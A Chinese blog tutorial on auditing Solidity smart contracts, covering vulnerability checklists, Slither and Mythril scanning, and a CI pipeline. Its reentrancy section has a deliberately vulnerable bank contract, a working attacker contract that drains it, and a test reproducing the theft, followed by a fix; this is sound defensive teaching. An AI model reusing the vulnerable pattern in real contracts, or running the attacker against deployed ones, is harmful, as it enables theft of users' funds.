跳转到内容
123xiao | 无名键客

《区块链中智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建-113》

字数: 0 阅读时长: 1 分钟

区块链中智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建

智能合约一旦部署,代码往往就“写死”在链上了。和普通后端服务不同,线上发现问题后不能简单热修复;一旦资产逻辑有漏洞,损失通常是直接且不可逆的。很多团队刚开始做审计时,会陷入两个误区:

  1. 只看工具报告,不看业务语义
  2. 只做人工审计,不做自动化集成

这篇文章我换一个更偏“落地流程”的角度来讲:不是只罗列漏洞,而是带你从漏洞识别一路走到自动化检测流水线搭建。读完后,你应该能自己搭起一套适合中小团队的智能合约审计基线。


背景与问题

智能合约安全审计的难点,不只是“有没有 bug”,而是要回答下面几个问题:

  • 这个合约是否存在已知漏洞模式?
  • 权限边界是否清晰?
  • 外部调用是否可能被重入利用?
  • 算术、签名、升级、随机数、价格预言机依赖是否可靠?
  • 有没有办法把这些检查流程自动化,避免靠人肉重复执行?

现实里,一个合约项目往往包含:

  • 多个 Solidity 文件
  • 继承结构与第三方库
  • 部署脚本与初始化参数
  • 测试用例
  • 代理合约与升级逻辑
  • CI/CD 流程

如果审计只停留在“打开 Remix 看一眼代码”,基本不够。


前置知识与环境准备

本文默认你已经知道:

  • Solidity 基础语法
  • EVM 调用模型
  • Hardhat 或 Foundry 至少会一种
  • 基本的 Git / Node.js 命令行使用

本文示例环境

  • Node.js 18+
  • npm 9+
  • Solidity 0.8.x
  • Hardhat
  • Slither
  • Mythril(可选)
  • Echidna(进阶,可选)

初始化项目

mkdir contract-audit-demo
cd contract-audit-demo
npm init -y
npm install --save-dev hardhat @nomicfoundation/hardhat-toolbox
npx hardhat init

安装 Slither:

python3 -m pip install slither-analyzer

安装 Mythril:

pip3 install mythril

核心原理

智能合约审计通常分成三层:

  1. 模式识别:识别常见漏洞,如重入、权限缺失、整数问题、未检查返回值
  2. 语义验证:结合业务逻辑判断是否真的可利用
  3. 自动化回归:把静态分析、单测、模糊测试接入 CI

一张总览图:审计流程怎么串起来

flowchart TD
    A[需求与资产梳理] --> B[代码结构分析]
    B --> C[手工识别高风险点]
    C --> D[静态分析 Slither]
    D --> E[符号执行 Mythril]
    E --> F[单元测试与攻击复现]
    F --> G[模糊测试 Echidna/Foundry]
    G --> H[修复与复验]
    H --> I[接入 CI 自动化]

常见漏洞的“思考顺序”

我自己做审计时,通常先按下面顺序看:

  1. 资产入口:充值、提现、铸造、销毁、转账
  2. 权限边界onlyOwner、管理员、白名单、签名验证
  3. 外部调用call、接口调用、ERC20 转账、回调
  4. 状态更新顺序:先转钱还是先改状态
  5. 价格与随机性来源
  6. 升级与初始化逻辑

常见漏洞分类图

classDiagram
    class 漏洞分类 {
      重入
      权限控制缺失
      整数边界问题
      签名重放
      预言机操纵
      不安全升级
      DOS风险
    }

    class 重入
    class 权限控制缺失
    class 整数边界问题
    class 签名重放
    class 预言机操纵
    class 不安全升级
    class DOS风险

    漏洞分类 --> 重入
    漏洞分类 --> 权限控制缺失
    漏洞分类 --> 整数边界问题
    漏洞分类 --> 签名重放
    漏洞分类 --> 预言机操纵
    漏洞分类 --> 不安全升级
    漏洞分类 --> DOS风险

从一个典型漏洞开始:重入攻击

重入是最经典、也最值得反复练的漏洞。它本质上是:

合约在更新自身状态之前,先把控制权交给了外部地址,导致外部合约有机会再次进入当前函数。

漏洞示意流程

sequenceDiagram
    participant U as 攻击者合约
    participant V as 漏洞合约
    U->>V: withdraw()
    V->>U: call.value(amount)
    U->>V: fallback / receive 中再次调用 withdraw()
    V->>U: 再次转账
    Note over V: 状态尚未正确更新,资金被重复提取

实战代码(可运行)

下面我们直接搭一个最小可运行示例:一个有漏洞的银行合约,以及一个攻击合约,再写测试把问题复现出来。

1)漏洞合约:contracts/VulnerableBank.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "insufficient balance");

        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");

        balances[msg.sender] -= amount;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

问题就在这里:先转账,再更新余额


2)攻击合约:contracts/Attacker.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IVulnerableBank {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
    function getBalance() external view returns (uint256);
}

contract Attacker {
    IVulnerableBank public bank;
    uint256 public attackAmount;

    constructor(address _bank) {
        bank = IVulnerableBank(_bank);
    }

    receive() external payable {
        uint256 bankBalance = address(bank).balance;
        if (bankBalance >= attackAmount) {
            bank.withdraw(attackAmount);
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "need at least 1 ether");
        attackAmount = 1 ether;

        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

3)修复版本:contracts/SafeBank.sol

一个直接有效的修法是 Checks-Effects-Interactions,也就是:

  1. 先检查
  2. 再更新状态
  3. 最后与外部交互
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract SafeBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "insufficient balance");

        balances[msg.sender] -= amount;

        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

如果要更稳一点,建议叠加 OpenZeppelin 的 ReentrancyGuard


4)测试代码:test/reentrancy.js

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy demo", function () {
  it("should exploit VulnerableBank", async function () {
    const [deployer, user, attackerEOA] = await ethers.getSigners();

    const Bank = await ethers.getContractFactory("VulnerableBank", deployer);
    const bank = await Bank.deploy();
    await bank.waitForDeployment();

    await bank.connect(user).deposit({
      value: ethers.parseEther("5")
    });

    const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
    const attacker = await Attacker.deploy(await bank.getAddress());
    await attacker.waitForDeployment();

    await attacker.connect(attackerEOA).attack({
      value: ethers.parseEther("1")
    });

    const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
    const attackerBalance = await ethers.provider.getBalance(await attacker.getAddress());

    expect(bankBalance).to.equal(0n);
    expect(attackerBalance).to.be.greaterThan(ethers.parseEther("1"));
  });
});

运行测试:

npx hardhat test

如果环境没问题,你会看到漏洞被成功利用,银行合约资金被抽空。


自动化检测流程搭建

上面的 PoC 很重要,但真正实战里,不能每个问题都靠人工构造攻击。我们需要把自动化工具串起来。

一个建议的最小闭环:

  • 编译检查
  • 单元测试
  • 静态分析(Slither)
  • 高危规则阻断 CI
  • 关键合约模糊测试

1)使用 Slither 做静态分析

在项目根目录执行:

slither .

如果 Hardhat 项目识别有问题,可以先编译:

npx hardhat compile
slither . --ignore-compile

对于上面的漏洞合约,Slither 通常会给出类似“重入风险”的提示。

2)使用 Mythril 做符号执行

myth analyze contracts/VulnerableBank.sol --solv 0.8.20

Mythril 更适合发现潜在路径问题,但误报有时比 Slither 多。我的建议是:

  • Slither 做快速基线
  • Mythril 做补充验证
  • 最终仍然回到测试与业务逻辑复核

3)把审计流程接进 npm scripts

编辑 package.json

{
  "scripts": {
    "compile": "hardhat compile",
    "test": "hardhat test",
    "audit:slither": "slither . --ignore-compile",
    "audit:myth": "myth analyze contracts/VulnerableBank.sol --solv 0.8.20",
    "audit": "npm run compile && npm run test && npm run audit:slither"
  }
}

执行:

npm run audit

用 GitHub Actions 搭一个最小 CI

如果你希望每次提交代码都自动跑检测,可以加一个工作流。

创建 .github/workflows/contract-audit.yml

name: Contract Audit Pipeline

on:
  push:
    branches: [main, master]
  pull_request:

jobs:
  audit:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: 18

      - name: Setup Python
        uses: actions/setup-python@v5
        with:
          python-version: "3.11"

      - name: Install Node dependencies
        run: npm ci

      - name: Install Slither
        run: pip install slither-analyzer

      - name: Compile
        run: npx hardhat compile

      - name: Test
        run: npx hardhat test

      - name: Run Slither
        run: slither . --ignore-compile

自动化流程图

flowchart LR
    A[开发提交代码] --> B[GitHub Actions 触发]
    B --> C[安装依赖]
    C --> D[编译合约]
    D --> E[运行测试]
    E --> F[Slither 静态分析]
    F --> G{是否通过}
    G -- 是 --> H[允许合并]
    G -- 否 --> I[阻断并修复]

逐步验证清单

如果你准备把这套方法用到真实项目,我建议按这个顺序走,不容易漏:

第一步:资产与权限梳理

  • 谁能转钱?
  • 谁能升级?
  • 谁能暂停?
  • 管理员是否可替换?
  • 多签是否已接入?

第二步:关键函数清点

  • deposit
  • withdraw
  • mint
  • burn
  • transfer
  • claim
  • liquidate
  • initialize
  • upgradeTo

第三步:逐项检查典型漏洞

  • 是否存在重入
  • 是否缺少访问控制
  • 是否依赖 tx.origin
  • 是否存在签名重放
  • 是否有价格源操纵风险
  • 是否有不安全的低级调用
  • 是否存在初始化遗漏

第四步:自动化落地

  • 每次 PR 自动编译
  • 每次 PR 自动执行测试
  • 每次 PR 自动跑静态分析
  • 关键模块定期做模糊测试

常见坑与排查

这一节我尽量讲一些“工具跑不起来”和“报告看不懂”的真实问题,这些比漏洞定义更常见。

1)Slither 报一堆问题,但很多像误报

这是正常现象。静态分析的特点就是快,但保守。排查方式:

  • 先看高危项:重入、任意外部调用、权限缺失
  • 再看是否为业务允许行为
  • 对已确认误报的项,做文档标记,不要简单忽略全部

建议:团队内部维护一个“误报说明清单”。


2)测试能过,但实际上仍然不安全

单测“全绿”不代表安全,尤其是以下情况:

  • 测试只覆盖 happy path
  • 没有攻击者视角
  • 没有边界值测试
  • 没有模拟恶意合约回调

排查方法:

  • 为每个资金函数补一组异常路径测试
  • 为每个外部调用补一个恶意合约 mock
  • 检查状态更新顺序

3)代理合约审计时只看实现合约

这是很多团队会踩的坑。升级代理场景下,需要同时看:

  • 实现合约逻辑
  • 代理存储布局
  • 初始化函数
  • 升级权限
  • delegatecall 带来的上下文影响

如果只看 implementation,不看 proxy,审计结论往往不完整。


4)ERC20 调用默认认为一定成功

有些代币并不严格返回标准布尔值,或者返回行为不一致。直接写:

token.transfer(to, amount);

未必稳妥。

更安全的方式是使用 OpenZeppelin 的 SafeERC20

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Vault {
    using SafeERC20 for IERC20;

    IERC20 public token;

    constructor(address _token) {
        token = IERC20(_token);
    }

    function payout(address to, uint256 amount) external {
        token.safeTransfer(to, amount);
    }
}

5)以为 Solidity 0.8+ 就“没有整数问题了”

0.8+ 确实默认检查溢出,但整数安全不只等于溢出:

  • 精度损失
  • 除法截断
  • 单位换算错误
  • 先乘后除与先除后乘差异

例如:

uint256 fee = amount * rate / 10000;

如果 rateamount 或单位约定不清,依然可能造成经济模型偏差。


安全/性能最佳实践

这一节给一些更偏工程化的建议,尤其适合准备上线项目的团队。

1)优先落实 CEI 模式

也就是:

  • Checks
  • Effects
  • Interactions

任何会转账、外部调用、调用第三方合约的方法,都先检查这个顺序。


2)给关键函数加访问控制,而且要审“谁能改管理员”

很多项目不是死在业务函数,而是死在权限切换上。需要重点看:

  • onlyOwner 是否足够
  • 是否应该改为多签
  • 是否支持 timelock
  • 是否存在“初始化后 owner 仍可被任意改写”

3)对外部依赖保持不信任

不要默认这些东西永远可靠:

  • ERC20 返回值
  • 预言机价格
  • 跨链消息
  • 第三方合约回调
  • 签名来源客户端

在审计时,最好的心态是:任何外部输入都可能是恶意的


4)把“自动化检测”当作门禁,不是装饰

一个真正有用的流程,不是“上线前跑一次工具”,而是:

  • 每次提交自动编译
  • 每次 PR 自动测试
  • 高危静态分析结果阻断合并
  • 发布前固定跑一次完整审计脚本

如果没有门禁,工具装再多也只是心理安慰。


5)日志要足够,但不要泄露敏感语义

事件日志对排查问题非常重要,比如:

event Withdraw(address indexed user, uint256 amount);

但如果你的业务依赖链上签名参数、订单结构、内部策略,也要避免把不该公开的东西过度暴露。


6)性能不是第一位,但 gas 模式要注意安全副作用

有些优化会伤害可读性和安全性,比如:

  • 过度使用内联汇编
  • 为省 gas 省略安全检查
  • 滥用 unchecked

我的经验是:除非有明确的性能瓶颈证据,否则先保证安全与可审计性


一个推荐的审计最小模板

如果你现在要带团队搭流程,可以参考这个“够用版”模板:

人工审计关注点

  • 资产流向图
  • 权限表
  • 外部调用点
  • 升级入口
  • 初始化流程

自动化工具组合

  • Hardhat / Foundry:编译与测试
  • Slither:静态分析
  • Mythril:符号执行补充
  • Echidna 或 Foundry fuzz:属性测试

CI 最低门槛

  • 编译通过
  • 单测通过
  • Slither 无高危项
  • 关键资金函数有攻击测试

总结

智能合约安全审计,最怕两种极端:

  • 只讲理论,不做复现
  • 只跑工具,不懂逻辑

更稳妥的方式是把它拆成一个闭环:

  1. 先梳理资产与权限
  2. 再识别常见漏洞模式
  3. 用 PoC 和测试验证可利用性
  4. 接入 Slither、Mythril 等工具做自动化
  5. 最后把流程固定到 CI,避免回归问题反复出现

如果你是中级开发者,我很建议你从本文这个最小示例开始,真的在本地跑一遍。你会很快发现:
安全审计不是玄学,它首先是一套可以工程化、可重复执行的检查流程。

边界条件也要记住:自动化工具能帮你发现很多“已知模式”问题,但业务设计缺陷、经济模型漏洞、权限治理风险,仍然离不开人工判断。工具负责提效,人负责兜底,这才是比较现实的组合。


分享到:

上一篇
《Java 中基于 CompletableFuture 的并发编排实战:从异步聚合到超时控制与线程池调优》
下一篇
《Spring Boot + MyBatis 实战:构建可维护的 Java Web 后台接口与统一异常处理体系》